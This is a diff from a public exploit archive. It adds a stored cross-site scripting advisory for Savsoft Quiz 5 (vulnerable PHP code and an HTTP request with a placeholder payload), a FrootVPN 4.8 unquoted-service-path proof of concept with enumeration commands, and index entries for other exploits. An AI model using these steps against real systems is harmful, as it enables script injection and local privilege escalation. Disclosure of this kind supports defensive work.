'gid'=>implode(',',$this->input->post('gid')),
|
||||
'su'=>'2'
|
||||
);
|
||||
$veri_code=rand('1111','9999');
|
||||
if($this->config->item('verify_email')){
|
||||
$userdata['verify_code']=$veri_code;
|
||||
}
|
||||
if($this->session->userdata('logged_in_raw')){
|
||||
$userraw=$this->session->userdata('logged_in_raw');
|
||||
$userraw_uid=$userraw['uid'];
|
||||
$this->db->where('uid',$userraw_uid);
|
||||
$rresult=$this->db->update('savsoft_users',$userdata);
|
||||
if($this->session->userdata('logged_in_raw')){
|
||||
$this->session->unset_userdata('logged_in_raw');
|
||||
}
|
||||
}else{
|
||||
|
||||
$rresult=$this->db->insert('savsoft_users',$userdata);
|
||||
$uid=$this->db->insert_id();
|
||||
foreach($_POST['custom'] as $ck => $cv){
|
||||
if($cv != ''){
|
||||
$savsoft_users_custom=array(
|
||||
'field_id'=>$ck,
|
||||
'uid'=>$uid,
|
||||
'field_values'=>$cv
|
||||
);
|
||||
$this->db->insert('savsoft_users_custom',$savsoft_users_custom);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
----Vulnerable Request---
|
||||
POST /index.php/login/insert_user/ HTTP/1.1
|
||||
Host: savsoftquiz_v5
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: http://192.168.1.2/index.php/login/registration/
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 231
|
||||
Connection: close
|
||||
Cookie: ci_session=0lhlr1iv1qgru1u1kmg42lbvj8mprokv
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
email=hello%40gmail.com&password=password&first_name=XSSPAYLOAD&last_name=test&contact_no=05785555555&gid%5B%5D=1
|
40
exploits/windows/local/48657.txt
Normal file
40
exploits/windows/local/48657.txt
Normal file
|
@ -0,0 +1,40 @@
|
|||
# Exploit : FrootVPN 4.8 - 'frootvpn' Unquoted Service Path
|
||||
# Date : 2020-07-09
|
||||
# Author : v3n0m
|
||||
# Vendor : https://frootvpn.com/
|
||||
# App Link : https://frootvpn.com/en/download-client?platform=win
|
||||
# Version : 4.8
|
||||
# Tested on : Windows 10 Pro build 19041.329
|
||||
# Credits : YOGYACARDERLINK, bejo6, Ika Atikasari
|
||||
|
||||
# PoC:
|
||||
|
||||
Microsoft Windows [Version 10.0.19041.329]
|
||||
(c) 2020 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\HP>wmic service get name,pathname,startmode,StartName | findstr "FrootVPN"
|
||||
FrootVPN "C:\Program Files\FrootVPN\vpn.service.exe" Manual LocalSystem
|
||||
|
||||
C:\Users\HP>sc qc frootvpn
|
||||
[SC] QueryServiceConfig SUCCESS
|
||||
|
||||
SERVICE_NAME: frootvpn
|
||||
TYPE : 10 WIN32_OWN_PROCESS
|
||||
START_TYPE : 3 DEMAND_START
|
||||
ERROR_CONTROL : 1 NORMAL
|
||||
BINARY_PATH_NAME : "C:\Program Files\FrootVPN\vpn.service.exe"
|
||||
LOAD_ORDER_GROUP :
|
||||
TAG : 0
|
||||
DISPLAY_NAME : FrootVPN
|
||||
DEPENDENCIES :
|
||||
SERVICE_START_NAME : LocalSystem
|
||||
|
||||
C:\Users\HP>
|
||||
|
||||
|
||||
# Security Risk
|
||||
|
||||
A successful attempt would require the local user to be able to insert their code
|
||||
in the system root path undetected by the OS or other security applications
|
||||
where it could potentially be executed during application startup or reboot.
|
||||
If successful, the local user's code would execute with the elevated privileges of the application.
|
|
@ -11120,6 +11120,7 @@ id,file,description,date,author,type,platform,port
|
|||
48625,exploits/windows/local/48625.txt,"KiteService 1.2020.618.0 - Unquoted Service Path",2020-06-26,"Marcos Antonio León",local,windows,
|
||||
48628,exploits/windows/local/48628.py,"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)",2020-07-01,"Paras Bhatia",local,windows,
|
||||
48644,exploits/hardware/local/48644.c,"Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)",2020-03-21,TheFloW,local,hardware,
|
||||
48657,exploits/windows/local/48657.txt,"FrootVPN 4.8 - 'frootvpn' Unquoted Service Path",2020-07-09,v3n0m,local,windows,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -42905,3 +42906,6 @@ id,file,description,date,author,type,platform,port
|
|||
48649,exploits/multiple/webapps/48649.txt,"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation",2020-07-07,"William Summerhill",webapps,multiple,
|
||||
48652,exploits/hardware/webapps/48652.txt,"SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)",2020-07-08,"Metin Yunus Kandemir",webapps,hardware,
|
||||
48653,exploits/hardware/webapps/48653.txt,"BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)",2020-07-08,"William Summerhill",webapps,hardware,
|
||||
48655,exploits/php/webapps/48655.php,"PHP 7.4 FFI - 'disable_functions' Bypass",2020-07-07,"hunter gregal",webapps,php,
|
||||
48656,exploits/php/webapps/48656.txt,"Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting",2020-07-09,mqt,webapps,php,
|
||||
48658,exploits/php/webapps/48658.txt,"Savsoft Quiz 5 - Persistent Cross-Site Scripting",2020-07-09,th3d1gger,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue